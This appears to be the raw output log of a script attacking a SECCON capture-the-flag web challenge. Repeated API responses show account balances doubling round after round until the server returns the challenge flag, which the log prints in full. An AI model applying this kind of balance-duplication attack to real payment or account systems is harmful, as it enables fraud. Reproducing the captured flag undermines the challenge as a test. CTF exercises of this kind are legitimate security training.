Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 2684354560}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 2684354560}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 2684354560}
[2684354560, 2684354560, 2684354560]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 2684354560}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 2684354560}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 5368709120}
[2684354560, 2684354560, 5368709120]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 5368709120}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 5368709120}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 5368709120}
[5368709120, 5368709120, 5368709120]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 5368709120}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 5368709120}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 10737418240}
[5368709120, 5368709120, 10737418240]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10737418240}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10737418240}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 10737418240}
[10737418240, 10737418240, 10737418240]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 10737418240}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 10737418240}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 21474836480}
[10737418240, 10737418240, 21474836480]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 21474836480}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 21474836480}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 21474836480}
[21474836480, 21474836480, 21474836480]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 21474836480}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 21474836480}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 42949672960}
[21474836480, 21474836480, 42949672960]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 42949672960}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 42949672960}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 42949672960}
[42949672960, 42949672960, 42949672960]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 42949672960}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 42949672960}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 85899345920}
[42949672960, 42949672960, 85899345920]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 85899345920}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 85899345920}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 85899345920}
[85899345920, 85899345920, 85899345920]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 85899345920}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 85899345920}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 171798691840}
[85899345920, 85899345920, 171798691840]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 171798691840}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 171798691840}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 171798691840}
[171798691840, 171798691840, 171798691840]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 171798691840}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 171798691840}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 343597383680}
[171798691840, 171798691840, 343597383680]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 343597383680}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 343597383680}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 343597383680}
[343597383680, 343597383680, 343597383680]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 343597383680}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 343597383680}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 687194767360}
[343597383680, 343597383680, 687194767360]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 687194767360}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 687194767360}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 687194767360}
[687194767360, 687194767360, 687194767360]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 687194767360}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 687194767360}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1374389534720, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
[687194767360, 687194767360, 1374389534720]
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'msg': 'Succeeded'}
Response (Status: 200):{'id': 2, 'iat': 1732447279, 'balance': 1374389534720, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
Response (Status: 200):{'id': 3, 'iat': 1732447280, 'balance': 1374389534720, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
Response (Status: 200):{'id': 4, 'iat': 1732447280, 'balance': 1374389534720, 'flag': 'SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}'}
[1374389534720, 1374389534720, 1374389534720]

SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}